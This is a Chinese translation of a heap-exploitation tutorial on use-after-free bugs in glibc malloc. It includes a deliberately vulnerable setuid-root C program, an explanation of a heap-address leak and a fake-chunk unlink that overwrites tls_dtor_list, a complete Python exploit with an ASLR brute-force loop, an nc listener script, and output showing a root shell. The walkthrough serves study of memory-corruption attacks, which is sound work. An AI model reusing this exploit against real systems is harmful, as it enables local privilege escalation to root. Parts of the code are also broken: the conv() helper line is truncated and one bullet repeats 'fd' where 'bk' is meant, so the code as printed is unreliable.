释放后使用

译者：飞龙

原文：Use-After-Free

预备条件：

  1. Off-By-One 漏洞（基于栈）
  2. 理解 glibc malloc

VM 配置：Fedora 20（x86）

什么是释放后使用（UAF）？

继续使用已经被释放的堆内存指针叫做释放后使用。这个漏洞会导致任意代码执行。

漏洞代码：

  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #define BUFSIZE1 1020
  5. #define BUFSIZE2 ((BUFSIZE1/2) - 4)
  7. int main(int argc, char **argv) {
  9.  char* name = malloc(12); /* [1] */
  10.  char* details = malloc(12); /* [2] */
  11.  strncpy(name, argv[1], 12-1); /* [3] */
  12.  free(details); /* [4] */
  13.  free(name);  /* [5] */
  14.  printf("Welcome %s\n",name); /* [6] */
  15.  fflush(stdout);
  17.  char* tmp = (char *) malloc(12); /* [7] */
  18.  char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
  19.  char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
  20.  free(p2); /* [10] */
  21.  char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
  22.  char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
  24.  printf("Enter your region\n");
  25.  fflush(stdout);
  26.  read(0,p2,BUFSIZE1-1); /* [13] */
  27.  printf("Region:%s\n",p2); 
  28.  free(p1); /* [14] */
  29. }

编译命令：

  1. #echo 2 > /proc/sys/kernel/randomize_va_space
  2. $gcc -o vuln vuln.c
  3. $sudo chown root vuln
  4. $sudo chgrp root vuln
  5. $sudo chmod +s vuln

注意：不像上一篇文章，ASLR 在这里是打开的。所以现在让我们利用 UAF 漏洞，因为 ASLR 打开了，让我们使用信息泄露和爆破技巧来绕过它。

上面的漏洞代码包含两个 UAF 漏洞，位于行[6]和[13]。它们的堆内存在行[5]和[10]释放，但是它们的指针即使在释放后也使用，在行[6]和[13]。行[6]的UAF 会导致信息泄露，而行[13]的 UAF 导致任意代码执行。

什么是信息泄露？攻击者如何利用它？

在我们的漏洞代码（行[6]）中，被泄露的信息是堆地址。这个泄露的对地址会帮助攻击者轻易计算出随机化堆段的基地址，因此绕过 ASLR。

为了理解堆地址如何泄露的，让我们首先理解漏洞代码的前半部分。

  • 行[1]为name分配了 16 字节的堆内存区域。
  • 行[2]位details分配了 16 字节的堆内存区域。
  • 行[3]将程序的参数 1（argv[1]）复制到堆内存区域name中。
  • 行[4]和[5]将堆内存区域name和details释放给 glibc malloc。
  • 行[6]的printf在释放后使用name指针，这会导致堆地址的泄露。

阅读预备条件中的文章之后，我们知道，对应name和details指针的块都是 fast 块，并且，当这些 fast 块被释放时，它们储存在 fast bin 的下标 0 处。我们也知道，每个 fast bin 都包含一个空闲块的单链表。因此对于我们的示例来说，fast bin 下标 0 处的单链表是这样：

  1. main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

由于这个单链表。name的前四个字节包含details_chunk地址，因此在打印name时，details_chunk地址首先被打印。我们可以从堆布局中知道，details_chunk位于堆基址的 0x10 偏移处。因此从泄露的堆地址减去 0x10，我们就得到了堆的基址。

如何实现任意代码执行？

现在获得随机化堆段的基址之后，让我们看看如何通过理解漏洞代码的后半部分，来实现任意代码执行。

  • 行[7]为tmp分配了 16 字节的堆内存区域。
  • 行[8]为p1分配了 1024 字节的堆内存区域。
  • 行[9]为p2分配了 1024 字节的堆内存区域。
  • 行[10]将堆内存区域p2释放给 glibc malloc。
  • 行[11]为p2_1分配了 512 字节的堆内存区域。
  • 行[12]为p2_2分配了 512 字节的堆内存区域。
  • 行[13]的读取在释放后使用了p2指针。
  • 行[14]将堆内存区域p1释放给 glibc malloc。这会在程序退出时导致任意代码执行。

阅读预备条件中的文章之后，我们知道，当p2释放给 glibc malloc 时，它会和 top 块合并。之后为p2_1请求内存时，它会从 top 块分配 — p2和p2_1包含相同的堆地址。之后为p2_2请求内存时，它也从 top 块分配 — p2_2是p2之后的 512 个字节。因此在行[13]中，p2指针在释放后使用时，攻击者控制的数据（最大 1019 字节）会复制到p2_1，它的大小只有 512 字节，因此剩余的攻击者数据会覆盖下一个块p2_2，允许攻击者覆盖下一个块头部的size字段。

堆布局：

1

我们在预备条件中的文章中看到，如果攻击者成功覆盖了下一个块的size字段的 LSB，它就可以欺骗 glibc malloc 来 unlink 块p2_1，即使它处于分配状态。在相同文章中，我们也看到，当攻击者精心构造伪造的块头部时，unlink 一个处于已分配状态的 large 块会导致任意代码执行。攻击者可以像这样构造伪造的块头部：

  • fd应该指向释放的块地址。从堆的布局中我们可以看到，p2_1位于偏移 0x410。所以fd = heap_base_address + 0x410，heap_base_address从信息泄露的 bug 中获取。

  • bk也应该指向释放的块地址。从堆的布局中我们可以看到，p2_1位于偏移 0x410。所以fd = heap_base_address + 0x410，heap_base_address从信息泄露的 bug 中获取。

  • fd_nextsize应该指向tls_dtor_list – 0x14。tls_dtor_list属于 glibc 的私有匿名映射区段，它是随机化的。因此为了绕过这个随机化，让我们使用爆破技巧，就像下面的利用代码那样。

  • bk_nextsize应该指向堆内存，该内存包含dtor_list元素。system的dtor_list由攻击者注入在这个伪造的块头部后面，而setuid的dtor_list由攻击者注入在p2_2堆内存区域内。从堆布局中我们了解到，system和setuid的dtor_list位于偏移 0x428 和 0x618 处。

使用所有这些信息，让我们编写利用程序来攻击漏洞二进制vuln：

利用代码：

  1. #exp.py
  2. #!/usr/bin/env python
  3. import struct
  4. import sys
  5. import telnetlib
  6. import time
  8. ip = '127.0.0.1'
  9. port = 1234
  11. def conv(num): return struct.pack("<I
  12. def send(data):
  13.  global con
  14.  con.write(data)
  15.  return con.read_until('\n')
  17. print "** Bruteforcing libc base address**"
  18. libc_base_addr = 0xb756a000
  19. fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
  20. system = libc_base_addr + 0x3e6e0
  21. system_arg = 0x80482ae
  22. size = 0x200
  23. setuid = libc_base_addr + 0xb9e30
  24. setuid_arg = 0x0
  26. while True:
  27.  time.sleep(4)
  28.  con = telnetlib.Telnet(ip, port)
  29.  laddress = con.read_until('\n')
  30.  laddress = laddress[8:12]
  31.  heap_addr_tup = struct.unpack("<I", laddress)
  32.  heap_addr = heap_addr_tup[0]
  33.  print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
  34.  heap_base_addr = heap_addr - 0x10
  35.  fd = heap_base_addr + 0x410
  36.  bk = fd
  37.  bk_nextsize = heap_base_addr + 0x618
  38.  mp = heap_base_addr + 0x18
  39.  nxt = heap_base_addr + 0x428
  41.  print "** Constructing fake chunk to overwrite tls_dtor_list**"
  42.  fake_chunk = conv(fd)
  43.  fake_chunk += conv(bk)
  44.  fake_chunk += conv(fd_nextsize)
  45.  fake_chunk += conv(bk_nextsize)
  46.  fake_chunk += conv(system)
  47.  fake_chunk += conv(system_arg)
  48.  fake_chunk += "A" * 484
  49.  fake_chunk += conv(size)
  50.  fake_chunk += conv(setuid)
  51.  fake_chunk += conv(setuid_arg)
  52.  fake_chunk += conv(mp)
  53.  fake_chunk += conv(nxt)
  54.  print "** Successful tls_dtor_list overwrite gives us shell!!**"
  55.  send(fake_chunk)
  57.  try: 
  58.   con.interact()
  59.  except: 
  60.   exit(0)

由于在爆破技巧中，我们需要尝试多次（直到成功）。让我们将我们的漏洞二进制vuln运行为网络服务器，并使用 Shell 教程来确保崩溃时自动重启：

  1. #vuln.sh
  2. #!/bin/sh
  3. nc_process_id=$(pidof nc)
  4. while :
  5. do
  6.  if [[ -z $nc_process_id ]]; then
  7.  echo "(Re)starting nc..."
  8.  nc -l -p 1234 -c "./vuln sploitfun"
  9.  else
  10.  echo "nc is running..."
  11.  fi
  12. done

执行上述利用代码会给我们 root shell。好的。

  1. Shell-1$./vuln.sh
  2. Shell-2$python exp.py
  3. ...
  4. ** Leaked heap addresses : [0x889d010] **
  5. ** Constructing fake chunk to overwrite tls_dtor_list**
  6. ** Successfull tls_dtor_list overwrite gives us shell!!**
  7. *** Connection closed by remote host ***
  8. ** Leaked heap addresses : [0x895d010] **
  9. ** Constructing fake chunk to overwrite tls_dtor_list**
  10. ** Successfull tls_dtor_list overwrite gives us shell!!**
  11. *** Connection closed by remote host ***
  12. id
  13. uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  14. exit
  15. ** Leaked heap addresses : [0x890c010] **
  16. ** Constructing fake chunk to overwrite tls_dtor_list**
  17. ** Successfull tls_dtor_list overwrite gives us shell!!**
  18. *** Connection closed by remote host ***
  19. ...
  20. $

参考：

Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution